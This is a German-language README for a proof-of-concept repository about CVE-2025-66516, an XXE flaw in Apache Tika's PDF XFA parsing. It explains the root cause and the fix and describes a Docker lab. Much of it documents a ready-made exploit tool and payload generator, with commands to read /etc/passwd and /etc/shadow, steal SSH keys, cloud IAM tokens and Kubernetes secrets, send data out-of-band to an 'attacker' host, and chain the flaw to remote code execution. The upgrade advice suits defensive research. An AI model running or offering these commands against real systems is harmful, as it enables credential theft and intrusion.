
CVE-2025-66516 funktionierender Exploit, Scanner, Erklärung.
CVE-2025-66516 ist eine kritische XML-External-Entity-(XXE)-Einschleusungssicherheitslücke in Apache Tika mit einem CVSS-Score von 10,0 (maximale Schwere). Die Sicherheitslücke ermöglicht es entfernten Angreifern, beliebige Dateien zu lesen, Server-Side-Request-Forgery-(SSRF)-Angriffe durchzuführen und sensible Daten zu exfiltrieren, indem sie ein speziell manipuliertes PDF-Dokument mit bösartigem XFA-Inhalt (XML Forms Architecture) hochladen.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2025-66516 |
| CVSS-Score | 10,0 (Kritisch) |
| Offengelegt | 4. Dezember 2025 |
| Anbieter | Apache Software Foundation |
| Betroffenes Produkt | Apache Tika |
| Angriffsvektor | Netzwerk (Remote) |
| Authentifizierung | Keine erforderlich |
| Komponente | Anfällige Versionen | Korrigierte Version |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Wichtig: Diese CVE ersetzt CVE-2025-54988, die fälschlicherweise nur das PDF-Modul als anfällig identifizierte. Die tatsächliche Sicherheitslücke befindet sich im tika-core.
Die Sicherheitslücke ist ein XML-External-Entity-(XXE)-Einschleusungsfehler in der Verarbeitung von XFA-Daten (XML Forms Architecture) in PDF-Dokumenten durch Apache Tika.
Das Problem: Tika verlässt sich auf zugrunde liegende Java-XML-Parser (insbesondere einen StAX-Parser), um XFA-XML-Inhalte zu lesen. Anfällige Versionen haben es versäumt, den Parser korrekt zu konfigurieren, um die Auflösung externer Entitäten zu deaktivieren. Wenn der Parser auf eine Anfrage für eine externe Entität stößt (wie SYSTEM "file:///etc/passwd"), löst er diese auf und gibt den Dateiinhalt zurück.
Ort: Der Fehler befindet sich in XMLReaderUtils.getXMLInputFactory() in tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Unwirksam
return factory;
}
Der IGNORING_STAX_ENTITY_RESOLVER sollte XXE blockieren, indem er ein leeres Ergebnis zurückgibt, gab aber einen String zurück, anstatt den erwarteten InputStream. Der standardmäßige StAX-Parser des JDK ignorierte diesen falschen Rückgabetyp stillschweigend und fiel auf das Standardverhalten zurück, das externe Entitäten auflöst.
Der Fix deaktiviert explizit die DTD- und externe-Entitäten-Unterstützung auf Factory-Ebene:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Zusätzlich wurde der Resolver so geändert, dass er einen korrekten InputStream-Typ zurückgibt.
Im Java-Ökosystem gibt es mehrere XML-Parser-Bibliotheken. Anwendungen verwenden den Parser, der konfiguriert oder zuerst im Klassenpfad gefunden wird.
Was ist Woodstox? Woodstox ist ein leistungsstarker Open-Source-StAX-XML-Parser, der häufig mit Java-Anwendungen gebündelt wird.
Wie es Schutz bietet: Entwurfsbedingt (nicht zufällig) verarbeitet die Implementierung von Woodstox den Rückgabetyp des XMLResolver korrekt. Wenn Woodstox den String-Rückgabewert von IGNORING_STAX_ENTITY_RESOLVER erhält, behandelt er ihn als gültigen leeren Inhalt und blockiert so effektiv die XXE.
Kritische Unterscheidung:
tika-server-standard.jar bündelt Woodstox – NICHT ANFÄLLIGtika-core + Parser-Module (eingebettete Nutzung) bündeln Woodstox NICHT – ANFÄLLIG# 1. Starten der Laborumgebung
docker-compose up -d --build
# 2. Test gegen anfälligen Tika (JDK StAX, Port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. /etc/passwd extrahieren
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Vergleich mit geschütztem Tika (Woodstox, Port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Labororchestrierung
|-- vulnerable-tika/
| |-- Dockerfile # Tika mit Woodstox (geschützt)
| +-- Dockerfile.jdk-stax # Tika ohne Woodstox (ANFÄLLIG)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask-Upload-Anwendung
| +-- templates/
|-- poc/
| |-- exploit.py # Automatisiertes Exploit-Tool
| +-- generate_payload.py # Generator für bösartige PDFs
+-- README.md
docker-compose up -d --build
exploit.py)Vollständige Angriffskette mit automatischer Payload-Generierung und Datenextraktion.
# Prüfen, ob das Ziel anfällig ist
python poc/exploit.py --url http://target:9998 --check
# Lokale Dateien lesen
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS-Metadaten-Diebstahl (EC2-Instanzen)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes-Secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF auf interne Dienste
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Extrahierte Daten speichern
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Erzeugt bösartige PDF-Dateien für manuelle Tests oder die Integration mit anderen Tools.
# Payload für eine bestimmte Datei generieren
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# SSRF-Payload generieren
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# OOB-Exfiltrations-Payload generieren
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Angriffsmodus-Voreinstellungen verwenden
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Verfügbare Angriffsmodi auflisten
python poc/generate_payload.py --list-modes
Verfügbare Angriffsmodi:
file_read – Lokale Dateien lesen (/etc/passwd, /etc/shadow, usw.)ssh_keys – SSH-private Schlüssel stehlenaws_metadata – AWS EC2-Metadaten und IAM-Anmeldedatengcp_metadata – GCP-Dienstkontotokenazure_metadata – Azure Managed Identity-Tokenk8s_secrets – Kubernetes-Dienstkonto-Anmeldedatenwebapp_configs – Häufige Webanwendungskonfigurationenssrf_internal – Interne Dienste ausspähenTest gegen Tika 2.9.2 ohne Woodstox (simuliert eingebettete Bereitstellungen):
| Test | Ergebnis |
|---|---|
| XFA-Erkennung | [BESTANDEN] PDF als XFA-haltig erkannt |
| XFA-Parsing | [BESTANDEN] XFA-Inhalt extrahiert |
| XXE-Dateilesen | [ANFÄLLIG] /etc/passwd-Inhalt exfiltriert |
| XXE-SSRF | [ANFÄLLIG] Externe Anfragen gesendet |
Exploit-Nachweis:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Test gegen Tika 2.9.2 mit Woodstox (standardmäßiges tika-server-standard.jar):
| Test | Ergebnis |
|---|---|
| XFA-Erkennung | [BESTANDEN] PDF als XFA-haltig erkannt |
| XFA-Parsing | [BESTANDEN] XFA-Inhalt extrahiert |
| XXE-Dateilesen | [BLOCKIERT] Externe Entitäten nicht aufgelöst |
| XXE-SSRF | [BLOCKIERT] Keine ausgehenden Verbindungen |
Ausgabe zeigt leere Entität:
<li fieldName="data">data: </li>
Die Sicherheitslücke ist real und kritisch. Die Ausnutzbarkeit hängt von der StAX-Implementierung ab:
tika-server-standard.jar – Mitgelieferter Woodstox blockiert XXEXXE ist grundsätzlich eine Dateilesen-/SSRF-Sicherheitslücke, keine direkte RCE. Sie ermöglicht jedoch mehrere Angriffspfade:
| Angriff | Payload-Beispiel |
|---|---|
| Dateilesen | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| AWS-Metadaten | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Szenario | Angriffspfad |
|---|---|
| AWS EC2 | XXE -> SSRF zu Metadaten -> IAM-Anmeldedaten -> AWS CLI RCE |
Upgrade von Apache Tika auf Version 3.2.2 oder höher
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Überprüfen, ob alle Tika-Komponenten aktualisiert sind (tika-core UND Parser-Module)
| Bereitstellungstyp | Risikostufe |
|---|---|
| tika-server-standard.jar | NIEDRIG – Woodstox mildert |
| Eingebetteter Tika (Bibliotheksnutzung) | HOCH – Wahrscheinlich anfällig |
| Benutzerdefiniert ohne Woodstox | HOCH – Anfällig |
Problem 1: Erster Exploit funktionierte nicht
Problem 2: Mehrere XML-Deklarationsfehler
WstxParsingException: Illegal processing instruction target ("xml")Problem 3: Das Woodstox-Rätsel
Problem 4: Testen der falschen Konfiguration
| Datum | Ereignis |
|---|---|
| August 2025 | CVE-2025-54988 offengelegt (unvollständiger Umfang) |
| 4. Dezember 2025 | CVE-2025-66516 veröffentlicht (vollständiger Umfang identifiziert) |
| 4. Dezember 2025 | Apache Tika 3.2.2 mit Fix veröffentlicht |
Diese Laborumgebung und der Proof-of-Code-Code werden nur für autorisierte Sicherheitstests, Bildungszwecke und defensive Forschung bereitgestellt.
Verwenden Sie diese Tools nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.
Dieses Forschungsmaterial wird zu Bildungszwecken bereitgestellt. Verwenden Sie es verantwortungsvoll.
| Dienst | Port | Beschreibung |
|---|
| Web-Anwendung | 8080 | Dokumenten-Upload-Frontend |
| Tika (Woodstox) | 9998 | Geschützt – NICHT anfällig |
| Tika (JDK StAX) | 9997 | ANFÄLLIG – Kein Woodstox |
| Angreifer-Listener | 9999 | HTTP-Server für OOB-Tests |
| Kubernetes | XXE -> Dienstkonto-Token lesen -> kubectl exec |
| Internes Jenkins | XXE -> SSRF zur Script-Konsole -> Groovy RCE |
| Datenbank | XXE -> Konfigurationsdateien lesen -> Datenbankzugriff |
| SSH | XXE -> SSH-Schlüssel lesen -> Remote-Shell-Zugriff |